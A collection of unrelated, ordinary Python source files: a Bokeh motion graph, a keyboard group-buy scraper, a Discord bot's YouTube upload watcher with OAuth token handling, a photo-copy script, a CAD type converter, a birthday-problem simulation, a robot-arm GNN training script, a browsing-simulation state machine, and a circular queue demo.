from motion_detector import df
from bokeh.plotting import figure, show, output_file
from bokeh.models import HoverTool, ColumnDataSource

# Add new columns to the dataframe which is the datetime values converted into strings
# These will be provided to the HoverTool for use in the tooltips
df["Start_string"] = df["Start"].dt.strftime("%Y-%m-%d %H:%M:%S")
df["End_string"] = df["End"].dt.strftime("%Y-%m-%d %H:%M:%S")

# Creates bokeh datasoucre
cds = ColumnDataSource(df)

# Creates bokeh figure that will display the data
f = figure(x_axis_type = 'datetime', height = 100, width = 500, sizing_mode = 'scale_both', title = "Motion Graph")
f.yaxis.minor_tick_line_color = None
f.yaxis.ticker.desired_num_ticks = 1

# Adds hover functionality to graph
hover = HoverTool(tooltips = [("Start", "@Start_string"), ("End", "@End_string")])
f.add_tools(hover)

# Adds quadrilaterals to the graph to represent the data
f.quad(left = "Start", right = "End", bottom = 0, top = 1, color = "green", source = cds)

output_file("Graph.html")
show(f)


from pyquery import PyQuery as pq
from ..models import GroupBuyItem, USER_AGENT
from .base import PyQueryBasedScraper
from .util import extract_shipping_date

URL = "https://cannonkeys.com/pages/group-buy-status"

class CannonkeysScraper(PyQueryBasedScraper):
    def _get_url(self):
        return URL

    def _scrape(self, doc):
        gb_items = []
        context = {}
        self._traverse(doc("main"), gb_items, context)
        return gb_items

    def _traverse(self, parent, gb_items, context):
        children = parent.children()
        for child in children:
            text = child.text
            if text and text.lower().strip() == "keysets":
                context["groupbuy_title_found"] = True
                continue  # Cutoff early

            child_pq = pq(child)
            if context.get("groupbuy_title_found"):
                if child_pq.is_("h4") or (
                    child_pq.is_("strong")
                    and parent.is_("p")
                    and (parent.text().strip() == text)
                ):
                    gb_item = GroupBuyItem(text, "CannonKeys")
                    gb_items.append(gb_item)
                    context["groupbuy_item_found"] = True
                elif child_pq.is_("p") and context.get("groupbuy_item_found") and text:
                    latest_groupbuy_item = gb_items[-1]
                    latest_groupbuy_item.status = child_pq.text()

                    expected_ship_date = extract_shipping_date(
                        latest_groupbuy_item.name, latest_groupbuy_item.status
                    )
                    latest_groupbuy_item.expected_ship_date = expected_ship_date

                    context["groupbuy_item_found"] = False
            self._traverse(child_pq, gb_items, context)
        pass

if __name__ == "__main__":
    scraper = CannonkeysScraper()
    gb_items = scraper.scrape()
    for gb_item in gb_items:
        print(
            "Title: {}, status: {}, ship date: {}".format(
                gb_item.name, gb_item.status, gb_item.expected_ship_date
            )
        )


from __future__ import annotations

import datetime
import os
import re
import logging
import base64
import json
from typing import Optional, Union, List, TYPE_CHECKING

import discord
from google.oauth2.credentials import Credentials
from google.auth.exceptions import RefreshError
from googleapiclient.discovery import build
from google.auth.transport.requests import Request
from discord.ext import tasks
from handler.database import Database, get_guild_settings
from handler.blocking_code import Executor
if TYPE_CHECKING:
    from pepebot import PepeBot

_log = logging.getLogger("youtube")
from discord.ext.commands import Context

class EnvironmentNotFound(Exception):
    """ raised when tokens not found at given environment variable"""
    pass

class MissingTokens(Exception):
    """ raised when tokens not found at given environment variable"""
    pass

class CredentialsNotReady(Exception):
    """ raised when api tokens is not ready or not is authorised"""
    pass

class YoutubeAuth:
    def __init__(self, dev_key: str = None, public_access: bool = False):
        self.is_authorised = False
        self.is_tokens_ready = False
        self.database: Optional[Database] = None
        self.dev_key = dev_key
        self.__refresh_token: Optional[str] = None
        self.__api_key: Optional[str] = None
        self.__access_token: Optional[str] = None
        self.__client_secret: Optional[str] = None
        self.__client_id: Optional[str] = None
        self.__expiring_on: Optional[str] = None
        self.default_token_file: str = "token.json"
        self.tokens_file: Optional[Union[os.PathLike, str]] = None

        self.__credentials: Optional[Credentials] = None
        self.token_url = "https://oauth2.googleapis.com/token"
        self.default_scope = "https://www.googleapis.com/auth/youtube.readonly"
        self.scopes: list[str] = [self.default_scope]
        self.tokens_environment_key: str = "YOUTUBE_API_TOKENS_B64"

    def authorize(self):
        if not self.is_tokens_ready:
            if self.tokens_file is not None:
                self.get_tokens_from_file()
            else:
                self.get_tokens_from_env()
            if not self.is_tokens_ready:
                raise MissingTokens(
                    "pls provide credentials using ``attach file``")
        self.__credentials = Credentials.from_authorized_user_info(
            self.get_formatted_tokens()
        )
        if not self.__credentials.valid:
            self.renew_credentials()
        self.is_authorised = True

    def renew_credentials(self):
        try:
            self.__credentials.refresh(Request())
            self.attach_tokens(
                **json.loads(self.__credentials.to_json()))
            self.append_tokens_to_file()
        except RefreshError as error:
            if not error.retryable:
                # TODO: log to channel to get new tokens
                return
            self.__credentials.refresh()

    def attach_tokens(
            self, refresh_token: str, token: str, client_secret: str,
            client_id: str, expiry: str = None, token_uri: str = None,
            scopes: List[str] = None
    ) -> dict:
        self.__refresh_token = refresh_token
        self.__access_token = token
        self.__client_id = client_id
        self.__client_secret = client_secret
        if token_uri is not None:
            self.token_url = token_uri
        if expiry is not None:
            print(expiry)
            self.__expiring_on = expiry
        if scopes is not None and len(scopes) > 0:
            self.scopes = scopes
        if all([self.__refresh_token, self.__client_id, self.__client_secret]):
            self.is_tokens_ready = True
        return self.get_formatted_tokens()

    def get_tokens_from_env(self):
        base64_token_string = os.environ.get(self.tokens_environment_key)
        if base64_token_string is None:
            raise EnvironmentNotFound(
                f"the variable at location {self.tokens_environment_key}"
                f"not found")
        decoded_base64_string = json.loads(
            self.decode_b64_tokens(base64_token_string))
        self.attach_tokens(**decoded_base64_string)
        return decoded_base64_string

    def get_tokens_from_file(self):
        with open(file=self.tokens_file, mode="r") as token_file:
            token_json = json.loads(token_file.read())
            self.attach_tokens(**token_json)
            return token_json

    @staticmethod
    def decode_b64_tokens(b64_tokens: str) -> Optional[dict | str]:
        decode_string = base64.b64decode(b64_tokens).decode("utf-8")
        return json.loads(decode_string)

    def get_formatted_tokens(self):
        formatted_tokens = {
            "token": self.__access_token,
            "refresh_token": self.__refresh_token,
            "client_id": self.__client_id,
            "client_secret": self.__client_secret,
            "scopes": self.scopes,
            "token_uri": self.token_url,
            "expiry": self.__expiring_on
        }
        return formatted_tokens

    def append_tokens_to_file(self, filename: str = None):
        token_json_str = json.dumps(self.get_formatted_tokens())
        if filename is not None:
            self.tokens_file = filename
        else:
            self.tokens_file = self.default_token_file
        with open(file=self.tokens_file, mode="w+") as token_file:
            token_file.write(token_json_str)

    def get_credentials(self) -> Credentials:
        if not self.is_authorised or not self.is_tokens_ready:
            raise CredentialsNotReady()
        return self.__credentials

class Youtube:
    def __init__(self, bot: PepeBot, public_access: bool = False,
                 dev_key: str = None):
        self.auth = YoutubeAuth(
            public_access=public_access, dev_key=dev_key)
        self.operational_api = "https://yt.lemnoslife.com/"
        self.public_access = public_access
        self.bot = bot
        self.executor = self.bot.executor
        self.name = "youtube"
        self.api_version_name = "v3"
        self.app = None
        self.channel_custom_url_regex = re.compile(
            "(?:https?:\/\/)?(?:www\.)?youtube\.com\/(""?:@|c\/|user\/)?(\w+)(?:\/.*)?$")
        self.channel_id_url_regex = re.compile(
            "^https?://(?:www\.)?youtube\.com/channel/([\w-]+)$")

    @staticmethod
    def get_valid_iso_formate(iso_string: str):
        if iso_string.endswith("Z"):
            slice_obj = slice(-1)
            iso_string = iso_string[slice_obj]
        return datetime.datetime.fromisoformat(iso_string)

    async def initialise(self):
        if self.public_access and self.auth.dev_key is not None:
            self.app = await self.executor.execute(
                build, self.name, self.api_version_name,
                developerKey=self.auth.dev_key)
            return
        if not self.auth.is_authorised:
            await self.executor.execute(self.auth.authorize)
        self.app = await self.executor.execute(
            build, self.name, self.api_version_name,
            credentials=self.auth.get_credentials())

    async def get_playlist(self, playlist_id: str):
        playlist = await self.executor.execute(
            self.app.playlistItems().list(
                playlistId=playlist_id,
                part="snippet, contentDetails"
            ).execute)
        return playlist["items"][0]

    async def get_channel_by_name(self, channel_name: str):
        channel_response = await self.executor.execute(
            self.app.channels().list(
                part="snippet,contentDetails",
                forUsername=channel_name
            ).execute)
        return channel_response["items"][0]

    async def get_channel_by_id(self, channel_id: str):
        channel_response = await self.executor.execute(
            self.app.channels().list(
                part="snippet,contentDetails",
                id=channel_id
            ).execute)
        return channel_response["items"][0]

    async def get_channel_id(self, channel_user_name: str):
        if not channel_user_name.startswith("@"):
            channel_user_name = "@"+channel_user_name
        params = {"handle": channel_user_name}
        response = await self.bot.aiohttp_session.get(
            url=self.operational_api + "channels",
            params=params
        )
        json_obj = await response.json()
        print(json_obj)
        return json_obj["items"][0]["id"]

    async def get_recent_upload(self, channel_name: str,
                                channel_id: str = None):
        if channel_id is not None:
            channel = await self.get_channel_by_id(channel_id=channel_id)
        else:
            channel = await self.get_channel_by_name(channel_name)
        upload_id = channel["contentDetails"]["relatedPlaylists"]["uploads"]
        return await self.get_playlist(upload_id)

    async def get_video(self, video_id: str):
        video = await self.executor.execute(
            self.app.videos().list(
                part="contentDetails,snippet",
                id=video_id
            ).execute)
        return video["items"][0]

    async def append_new_video(self, channel_id, guild_id, upload_id):
        await self.bot.database.update(
            channel_id,
            guild_id,
            upload_id,
            table="peep.youtube_uploads",
            condition="channel_id=$1 AND guild_id = $2",
            update_set="recent_upload_id=$3"
        )

    async def subscribe_to_channel(self, channel_id, guild_id, upload_id):
        await self.bot.database.insert(
            channel_id,
            guild_id,
            upload_id,
            table="peep.youtube_uploads",
            columns="channel_id,guild_id,recent_upload_id",
            values="$1,$2,$3",
            on_conflicts=
            "(guild_id) DO UPDATE SET "
            "channel_id = $1,recent_upload_id =$3"
        )

    async def unsubscribe_to_channel(self, guild_id):
        await self.bot.database.delete(
            guild_id,
            table="peep.youtube_uploads",
            condition="guild_id = $1"
        )

    async def get_subscribed_channel(self, chanel_id, guild_id):
        return await self.bot.database.select(
            chanel_id,
            guild_id,
            table_name="peep.youtube_uploads",
            columns="*",
            conditions="channel_id = $1 AND guild_id = $2"
        )

    async def get_subscribed_for_guilds(self, guild_id: str):
        return await self.bot.database.select(
            guild_id,
            table_name="peep.youtube_uploads",
            columns="channel_id",
            conditions="guild_id=$1",
        )

    def get_id_from_url(self, url: str):
        url = url.replace(" ", "")
        all_ids = self.channel_id_url_regex.findall(url)
        if len(all_ids) >= 1:
            return all_ids[0]
        return None

    def get_username_from_url(self, url: str):
        url = url.replace(" ", "")
        all_usernames = self.channel_custom_url_regex.findall(url)
        if len(all_usernames) >= 1:
            return all_usernames[0]
        return None

    @tasks.loop(seconds=60)
    async def watch_for_uploads(self):
        """ watch for new uploads from channels containing in the database """

        channels = self.bot.cache["uploads"] = (
            await self.bot.database.select(
                table_name="peep.youtube_uploads", columns="*",
                return_all_rows=True
            )
        )
        # check again for the data returned from database
        if channels is None or len(channels) == 0:
            return

        for channel_data in channels:
            # get channel metadata
            channel_id = channel_data["channel_id"]
            channel_name = channel_data["channel_name"]
            channel_guild = channel_data["guild_id"]
            last_uploaded_video_id = channel_data["recent_upload_id"]

            # get recent uploads from the channel and get id
            recent_uploads = await self.get_recent_upload(
                channel_name=channel_name, channel_id=channel_id)
            recent_upload_id = recent_uploads["contentDetails"]["videoId"]

            if last_uploaded_video_id is None:
                print("appending")
                await self.append_new_video(
                    channel_id=channel_id,
                    guild_id=channel_guild,
                    upload_id=recent_upload_id
                )
                return
            if last_uploaded_video_id == recent_upload_id:
                return
            await self.append_new_video(
                channel_id=channel_id, guild_id=channel_guild,
                upload_id=recent_upload_id
            )
            # add get and set algorithm, to prevent from making everytime
            cached_channels = self.bot.cache.get(key="youtube_channels")
            cache_channel = cached_channels.get(channel_id)
            if cache_channel is None:
                cache_channel = await self.get_channel_by_id(channel_id)
                cached_channels[channel_id] = cache_channel
            self.bot.dispatch(
                "new_video_upload", channel_guild, cache_channel,
                recent_uploads
            )


import os
import shutil
from datetime import datetime
import time

start_time = datetime.now()

PATH_PHONE = r"C:\Users\HP\python\агрегатор\photo_phone"
PATH_PC = r"C:\Users\HP\python\агрегатор\photo_PC"

def aggregator(path_phone: str, path_PC: str):
    dir_phone = os.listdir(path_phone)
    for file in dir_phone:
        path_to_file = os.path.join(path_phone, file)
        path_exist = os.path.join(path_PC, file)
        if os.path.exists(path_exist):                           # проверка на дубликат
                continue
        if os.path.isfile(path_to_file):                             # проверяем является ли файлом
            shutil.copy(path_to_file, path_PC, follow_symlinks=True) # копируем на ПК
        else:
            new_path_PC = os.path.join(path_PC,file)                 # обновляем путь с учётом вложенности папок
            os.mkdir(new_path_PC)                                    # создаем папку на ПК
            new_path_phone = os.path.join(path_phone,file)           # новый путь для новой папки
            aggregator(new_path_phone, new_path_PC)                  # рекурсия с новыми путями

# time.sleep(5)
# print(datetime.now() - start_time)

def main():
    aggregator(path_PC=PATH_PC, path_phone=PATH_PHONE)

if __name__ == '__main__':
    main()


from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

import pkgutil

import compas_convert
from compas_convert.universal_converter.type_converter_match import TypeConverterMatch

class UniversalConverter(object):
    def __init__(self):
        self._converters = None
        self._input_type_to_converters_dict = None

    def __str__(self):
        string = "SmartConverter("
        if not self._converters:
            string += "No loaded converter functions)"
        else:
            string += (
                "Loaded converter functions: "
                + ",\n".join([str(c) for c in self._converters])
                + ")"
            )
        return string

    @property
    def converters(self):
        if not self._converters:
            self._create_converter_list()

        return self._converters

    @property
    def input_type_to_converters_dict(self):
        if not self._input_type_to_converters_dict:
            self._create_input_type_to_converters_dict()

        return self._input_type_to_converters_dict

    def convert(self, obj, input_type_override=None, output_type_override=None):
        """."""
        input_type = input_type_override or type(obj)

        # Get converters for exact type match
        compat_converters = self.input_type_to_converters_dict.get(input_type) or []

        # Get converters where input parent matches
        for type_key, converters in self.input_type_to_converters_dict.items():
            if issubclass(input_type, type_key):
                compat_converters += converters

        try:

            if output_type_override:
                # raises StopIteration if none of the applicable converters
                # has specified to type as output
                converter = next(
                    (
                        conv
                        for conv in compat_converters
                        if conv.output_type == output_type_override
                    )
                )
            else:
                # raises IndexError if applicable converters are zero
                converter = compat_converters[-1]
        except (IndexError, StopIteration):
            raise RuntimeError(
                "Could not convert object of type {} ".format(type(obj))
                + "(constraint input: {}, constraint output: {})".format(
                    input_type_override, output_type_override
                )
            )

        return converter(obj)

    def _create_converter_list(self):
        def _try_import_internal(module_name, from_module=None):
            pkg_path = "compas_convert."

            if from_module:
                pkg_path += "{}.".format(from_module)

            try:
                return __import__(
                    pkg_path + module_name, fromlist=["__name__"], level=0
                )
            except ImportError:
                return

        modules = [
            module_name
            for _, module_name, is_pkg in pkgutil.iter_modules(compas_convert.__path__)
            if is_pkg
        ]

        self._converters = []
        for module_name in modules:
            module = _try_import_internal(module_name)
            if module:
                # for obj_name in __all__ if __all__ exists
                for obj_name in getattr(module, "__all__", []):
                    obj = getattr(module, obj_name)
                    if getattr(obj, "is_converter", False):
                        self._converters.append(obj)

    def _create_input_type_to_converters_dict(self):
        def yield_available_input_types():
            for conv in self.converters:
                for input_type in conv.input_types:
                    yield input_type

        self._input_type_to_converters_dict = {}

        for type_ in yield_available_input_types():
            # Check that is that is hasn't already been added
            if type_ not in self._input_type_to_converters_dict.keys():
                matches = [
                    TypeConverterMatch(c, input_type=type_) for c in self.converters
                ]
                valid_matches = [
                    match for match in matches if match.is_input_type_match()
                ]
                valid_matches.sort(reverse=True)

                self._input_type_to_converters_dict[type_] = [
                    match.func for match in valid_matches
                ]

    def _print_input_type_converter_mapping(self):
        string = ""

        for key, value in self.input_type_to_converters_dict.items():
            string += "{}: {}\n".format(key, ",\n\t".join([str(c) for c in value]))

        print(string)

# Everything is loaded lazily so this shouldn't cost anything
UNIVERSAL_CONVERTER = UniversalConverter()

def convert(obj, input_type_override=None, output_type=None):
    """Convert CAD native object to COMPAS object, or vice versa."""
    return UNIVERSAL_CONVERTER.convert(
        obj, input_type_override=input_type_override, output_type_override=output_type
    )


#This program answers the following questions
#by using the functions class_simulator, school_simulator, and district simulator
#to calculated to derised probabilities.

#I. Consider a class with p students. What is the probability that at least k of them share a birthday?
#(Example: In a class with 10 people, what is the probability that at least 2
#of them share a birthday (here, p = 10 and n = 2).)

#II. Consider a school with c classes, each with p students. What is the probability
#that in at least l of those classes, at least k of the students share a birthday?
#(Example: In a school with 100 classes of 10 students each, what is the probability
#that there are at least 5 classes in which at least 2 of the students share a birthday
#(here, c = 100, p = 10, l = 5, and n = 2).)

#III. Consider a school district with s schools, each with c classes that each have p students.
#What is the probability that in at least m of those schools, there are at least l classes in which
#at least k of the students share a birthday? (Example: In a school district with 500 schools,
#each with 100 classes of 10 students each, what is the probability that there are at least
#50 schools that have 5 classes in which at least 2 of the students share a birthday
#(here, s = 500, c = 100, p = 10, m = 50, l = 5, and n = 2).)

#Written by Thomas Flynn

#leap year is 97 out of 400 years

#This function is a random birthday generator that outputs the number of day
#the birthday is with feb. 29, the leap year day being 366.
def generate_birthday():

    from random import randint

    x = (randint(1,400))

    if x > 97:
        return(randint(1,365))
    else:
        return(randint(1,366))

#This function generates a class(list) of num_students which are randomly generated birthday values.
def generate_class(num_students):

    return([generate_birthday() for student in range(num_students)])

#This function takes a class(class_roster) generated by generate_class and a number of
#desired birthday matches to check(num_matches) and checks to see how many birthdays in the class are the same
#it then compares the birthday matches with the desired bithday matches to check and if the actual
#matches is gretaer than or equal to the desired birthday matches it returns True, else it returns False
def class_checker(class_roster,num_matches):
#class_roster.count(birthday) for birthday = 1,2,3,4,5,... 366
    actual_matches = max(([class_roster.count(birthday) for birthday in class_roster]))
    if actual_matches >= num_matches:
        return(True)
    else:
        return(False)
#This function does the class_checker function on 1000 randomly generated classes and divides
#the number of Trues by the number of trials to give the probability that
#there will be num_matches in a class of num_students
def class_simulator(num_students,num_matches):

    num_trials = 1000

    valid_matches = 0

    for test in range(num_trials):
        my_class = generate_class(num_students)
        my_match = class_checker(my_class,num_matches)
        if my_match is True:
            valid_matches += 1

    probability = valid_matches/num_trials
    print('The probability of {} birthday matches in a class of {} \
students is approximately {:.4f}.'.format(num_matches,num_students,probability))

#This function generates a school of randomly generated classes
def generate_school(num_classes,num_students_per_class):
    return([generate_class(num_students_per_class) for my_class in range(num_classes)])

#This function checks to see if the school of num_classes has num_class_matches with num_student_matches
def school_checker(school_classes,num_class_matches,num_student_matches):
    student_matches=[class_checker(my_class,num_student_matches) for my_class in school_classes]
    if sum(student_matches) >= num_class_matches:
        return(True)
    else:
        return(False)

#This function generates 1000 schools and divides the amount of schools that have num_class_matches by the 1000 trials
#to get the probability that a school of num_classes with num_students will have num_class_matches with num_student_matches.
def school_simulator(num_classes,num_students_per_class,num_class_matches,num_student_matches):

    num_trials = 1000

    valid_class_matches = 0

    for test in range(num_trials):
        my_school = generate_school(num_classes,num_students_per_class)
        my_class_matches = school_checker(generate_school(num_classes,num_students_per_class),num_class_matches,num_student_matches)
        if my_class_matches is True:
            valid_class_matches += 1

    school_probability = valid_class_matches/num_trials
    print('The probability of {} class matches with {} birthday matches in {} classes of {} \
students is approximately {:.4f}.'.format(num_class_matches,num_student_matches,num_classes,num_students_per_class,school_probability))

#This function generates a district with num_schools with num_classes with num_students
def generate_district(num_schools,num_classes,num_students_per_class):
    return([generate_school(num_classes,num_students_per_class) for my_school in range(num_schools)])

#This function checks the district to see if it has num_school_matches with num_class_matches with num_student_matches
def district_checker(district_schools,num_school_matches,num_class_matches,num_student_matches):
    district_match = [school_checker(my_school,num_class_matches,num_student_matches)for my_school in district_schools]
    if sum(district_match) >= num_school_matches:
        return(True)
    else:
        return(False)

#This function gives you the probability that a generated district will have
#num_school_matches with num_class_matches with num_student_matches
def district_simulator(num_schools,num_classes,num_students_per_class,num_school_matches,num_class_matches,num_student_matches):

    num_trials = 1000

    valid_school_matches = 0

    for test in range(num_trials):
        my_district = generate_district(num_schools,num_classes,num_students_per_class)
        my_school_matches = district_checker(generate_district(num_schools,num_classes,num_students_per_class),num_school_matches,num_class_matches,num_student_matches)
        if my_school_matches is True:
            valid_school_matches += 1

    district_probability = valid_school_matches/num_trials
    print('The probability of {} school matches with {} class matches with {} birthday matches in a district of {} schools of {} classes of {} \
students is approximately {:.4f}.'.format(num_school_matches,num_class_matches,num_student_matches,num_schools,num_classes,num_students_per_class,district_probability))

#the next two functions can be used to answer the question "IV. Suppose you are made the following offer. If you teach a class at a school,
#you will be given $1000 for each student in the class. However, if at least 3 students in the class share a birthday,
#you get no money for the class. You get to choose how many students are in the class. How many students should you put
#in the class?" by calculating the expected values at certain class sizes and choosing the highest one.
def expected_value_class(num_students,num_matches):

    num_trials = 1000

    valid_matches = 0

    for test in range(num_trials):
        my_class = generate_class(num_students)
        my_match = class_checker(my_class,num_matches)
        if my_match is True:
            valid_matches += 1

    probability = valid_matches/num_trials
    expected_value = (1-probability)*(num_students*1000)
    return(expected_value)

#the next two functions can be used to answer the question "V. Suppose you are made the following offer.
#If you run a school filled with classes of 25 students each, you will be given $500 for each class that your
#school offers. However, if there are at least 5 classes in which at least 3 students share a birthday, you get
#no money for running the school. You get to choose how many classes are offered at the school. How many classes
#should you offer at the school?" by calculating the expected values at certain school sizes and choosing the highest one.
def highest_expected_value_class(num_students,num_matches):
    my_expected_values = [expected_value_class(item,num_matches) for item in range(65,80)]
    print(my_expected_values)

def expected_value_school(num_classes,num_students_per_class,num_class_matches,num_student_matches):

    num_trials = 1000

    valid_class_matches = 0

    for test in range(num_trials):
        my_school = generate_school(num_classes,num_students_per_class)
        my_class_matches = school_checker(generate_school(num_classes,num_students_per_class),num_class_matches,num_student_matches)
        if my_class_matches is True:
            valid_class_matches += 1

    school_probability = valid_class_matches/num_trials
    expected_value = (1-school_probability)*(num_classes*500)
    return(expected_value)

#the next two functions can be used to answer the question "VI. Suppose you are made the following offer.
#If you run a district filled with schools of 100 classes of 25 students each, you will be given $5000 for each school
#in your district. However, if there are at least 3 schools in which there are at least 5 classes in which
#at least 3 students share a birthday, you get no money for running the district.
#You get to choose how many schools are in the district. How many schools should you put in your district?"
#by calculating the expected values at certain district sizes and choosing the highest one.
def highest_expected_value_school(num_classes,num_students,num_class_matches,num_student_matches):
    my_expected_values = [expected_value_school(item,num_students,num_class_matches,num_student_matches) for item in range(240,244)]
    print(my_expected_values)

def expected_value_district(num_schools,num_classes,num_students_per_class,num_school_matches,num_class_matches,num_student_matches):

    num_trials = 1000

    valid_school_matches = 0

    for test in range(num_trials):
        my_district = generate_district(num_schools,num_classes,num_students_per_class)
        my_school_matches = district_checker(generate_district(num_schools,num_classes,num_students_per_class),num_school_matches,num_class_matches,num_student_matches)
        if my_school_matches is True:
            valid_school_matches += 1

    district_probability = valid_school_matches/num_trials
    expected_value = (1-district_probability)*(num_schools*5000)

def highest_expected_value_district(num_schools,num_classes,num_students_per_class,num_school_matches,num_class_matches,num_student_matches):
    my_expected_values = [expected_value_district(item,num_classes,num_students_per_class,num_school_matches,num_class_matches,num_student_matches) for item in range(10,11)]
    print(my_expected_values)

#IV. The solution I would choose to question IV is 70 students. The reason I would choose 70 students is that choosing 70 students would give you the highest
#expected value. In other words it will most likely give me the greatest amount of money. The way I calculated this is by calculating the probability
# of there being 3 shared birthdays in classes ranging from 1-100 students. I then multiplied the amount of money I would get(num_students*1000) by
#the probability of there not being 3 shared birthdays(1-probability of there being 3 shared birthdays) to get the expected values. I did this 10
#times and found the class size with the highest expected value each time, then added them together and divided by ten to get an average which is the class size
#that would result in the highest expected value which was 70 students.

#V. I would choose 230 classes for this question because I made another program for the amount of classes in a school rather than students in a class and it did the same process to come up with 230 classes.

#VI. I would choose 70 schools.I chose this answer because I made a program similar to the previous 2 programs except for
#the amount of schools rather than classes or students. This program took a long time to run because of
#machine limitations so I observed the sweet spot probabilities that gave the highest expected value with
#the last two questions and they both came out to about .3. So I tried what amount of schools would give a probability
#of .3 by using a proportion from one of my trials with less schools and I got about 70 schools. This combined with
#the program that calculates expected value gave me the most confident answer I could come up with whic was 70 schools.


import argparse
import torch
import numpy as np

from robot.controller.pets.envs import make
from robot.envs.hyrule.rl_env import ArmReachWithXYZ
from robot.model.gnn.gnn_forward import GNNForwardAgent

from robot.model.arm.extra.forward import Worker
from robot.model.arm.dataset import Dataset
from robot.model.arm.extra.recorder import ModelRecorder

def make_robot_info(env: ArmReachWithXYZ, info):
    env = env.unwrapped

    class ARMGNNInfo:
        # pass
        n = 8
        m = 2 * 7
        inp_dim = (n, 4) # q, dq, force, dir
        oup_dim = (3, 2) # we will output the

        graph = torch.tensor(np.array([
            [0,1,2,3,4,5,6,1,2,3,4,5,6,7],
            [1,2,3,4,5,6,7,0,1,2,3,4,5,6],
        ]), dtype=torch.long)

        joint_dof_id = torch.tensor(env._actuator_dof['agent'], dtype=torch.long)
        edge_dof_id = torch.tensor(env._actuator_dof['agent'], dtype=torch.long)

        @classmethod
        def encode_obs(cls, state, action):
            # state (29,) action (10,)
            state = state[...,:-3].reshape(*state.shape[:-1], 2, 13)[..., cls.joint_dof_id]
            if len(state.shape) == 2:
                state = state.permute(1, 0) # 13 is the
            else:
                state = state.permute(0, 2, 1)

            action = action[...,None]
            edge_feature = torch.cat((state, action), dim=-1)
            edge_feature = torch.cat((edge_feature, edge_feature), dim=-2)
            dir = torch.cat((torch.zeros_like(action), torch.ones_like(action)), dim=-2)
            edge_feature = torch.cat((edge_feature, dir), dim=-1)

            node = torch.eye(cls.n, device=state.device)
            if len(state.shape) > 2:
                node = node[None,:].expand(state.shape[0], -1, -1)
            return node, edge_feature

        @classmethod
        def add_state(cls, state, node, edge):
            # we have the output edge
            # assme node is in the batch version
            delta = edge[:,:7]
            new_state = state[:].clone()
            new_state[..., cls.joint_dof_id] += edge[..., :cls.m//2, 0]
            new_state[..., cls.joint_dof_id + 13] += edge[..., :cls.m//2, 1]
            new_state[..., -3:] = node[..., -1,:]
            return new_state

        @classmethod
        def compute_reward(self, s, a, g, t):
            return info.compute_reward(s, a, g, t)

    return ARMGNNInfo()

def main():
    dataset = Dataset('/dataset/arm_with_geom')
    timestep = 50

    parser = argparse.ArgumentParser()
    args = parser.parse_args()

    env, info = make('armreach')
    state = env.reset()['observation']
    goal = env.reset()['desired_goal']
    action = env.action_space.sample()
    info = make_robot_info(env, info)

    model = GNNForwardAgent(
        0.001, info.encode_obs, info.add_state, info.compute_reward,
        info.inp_dim, info.oup_dim, info.graph,layers=3, mid_channels=2
    ).cuda()

    """
    state = torch.tensor(state, dtype=torch.float, device='cuda:0')[None,:]
    action = torch.tensor(action, dtype=torch.float, device='cuda:0')[None,:]
    goal = torch.tensor(goal, dtype=torch.float, device='cuda:0')[None,:]
    #node, edge = info.encode_obs(state, action)
    model.update(torch.stack((state, state), dim=1), action[:,None])
    model.rollout(state, action[:, None], goal)
    """

    num_train = 10000
    recorder = ModelRecorder(env, 'arm_gnn', save_model=slice(100000000, None, 1), network_loss=slice(0, None, 50),
                             evaluate=slice(num_train-1, None, num_train), save_video=1, max_timestep=timestep, eval_episodes=5)

    worker = Worker(env, model, dataset, num_train=num_train, batch_size=256, iter_num=20, horizon=15,
                    num_mutation=500, num_elite=50, recorder=recorder, use_geom=False)

    for i in range(1000):
        worker.epoch(num_train, 200, use_tqdm=True)

if __name__ == '__main__':
    main()


from typing import Optional

from structlog import BoundLogger

from cr_kyoushi.simulation import (
    states,
    transitions,
)
from cr_kyoushi.simulation.util import now

from .config import Context

__all__ = ["ActivitySelectionState", "WebsiteState", "LeavingWebsite"]

class ActivitySelectionState(states.ProbabilisticState):
    def __init__(
        self,
        name: str,
        max_daily: int,
        website_transition: transitions.Transition,
        website_weight: float,
        idle_transition: transitions.Transition,
        idle_weight: float,
        name_prefix: Optional[str] = None,
    ):
        super().__init__(
            name,
            [website_transition, idle_transition],
            [website_weight, idle_weight],
            name_prefix=name_prefix,
        )
        self._max_daily: int = max_daily

    def next(
        self, log: BoundLogger, context: Context
    ) -> Optional[transitions.Transition]:
        browser = context.web_browser
        # update website daylie visit count
        current_day = now().date()
        if browser.current_day != current_day:
            browser.current_day = current_day
            browser.website_count = 0

        # if we reached the maximum visits we always idle
        if browser.website_count >= self._max_daily:
            return self.transitions[1]

        return super().next(log, context)

class WebsiteState(states.ProbabilisticState):
    def __init__(
        self,
        name: str,
        website_transition: transitions.Transition,
        website_weight: float,
        leave_transition: transitions.Transition,
        leave_weight: float,
        max_depth: int,
        name_prefix: Optional[str] = None,
    ):
        super().__init__(
            name,
            [website_transition, leave_transition],
            [website_weight, leave_weight],
            name_prefix=name_prefix,
        )
        self._max_depth: int = max_depth

    def next(
        self, log: BoundLogger, context: Context
    ) -> Optional[transitions.Transition]:
        browser = context.web_browser
        if (
            len(browser.available_links) == 0
            or browser.website_depth >= self._max_depth
        ):
            # if the websites have not links to navigate to
            # or we have reached max depth then we always leave the website
            return self.transitions[1]

        return super().next(log, context)

LeavingWebsite = states.ProbabilisticState


class Queue:
    def __init__(self, size=1000):
        self.q = [None] * size
        self.capacity = size
        self.front = 0
        self.rear = -1
        self.count = 0

    def dequeue(self):
        if self.isEmpty():
            print('Queue Underflow! Terminating process.')
            exit(-1)
        x = self.q[self.front]
        print('Removing element...', x)
        self.front = (self.front + 1) % self.capacity
        self.count = self.count - 1
        return x

    def enqueue(self, value):
        if self.isFull():
            print('Overflow! Terminating process.')
            exit(-1)
        print('Inserting element...', value)
        self.rear = (self.rear + 1) % self.capacity
        self.q[self.rear] = value
        self.count = self.count + 1

    def peek(self):
        if self.isEmpty():
            print('Queue UnderFlow! Terminating process.')
            exit(-1)
        return self.q[self.front]

    def size(self):
        return self.count

    def isEmpty(self):
        return self.size() == 0

    def isFull(self):
        return self.size() == self.capacity

if __name__ == '__main__':

    q = Queue(5)
    q.enqueue(1)
    q.enqueue(2)
    q.enqueue(3)

    print('The queue size is:', q.size())
    print('The front element is:', q.peek())
    q.dequeue()
    print('The front element is:', q.peek())

    q.dequeue()
    q.dequeue()

    if q.isEmpty():
        print('The queue is empty.')
    else:
        print('The queue is not empty.')

''' OUTPUT-
Inserting element... 1
Inserting element... 2
Inserting element... 3
The queue size is: 3
The front element is: 1
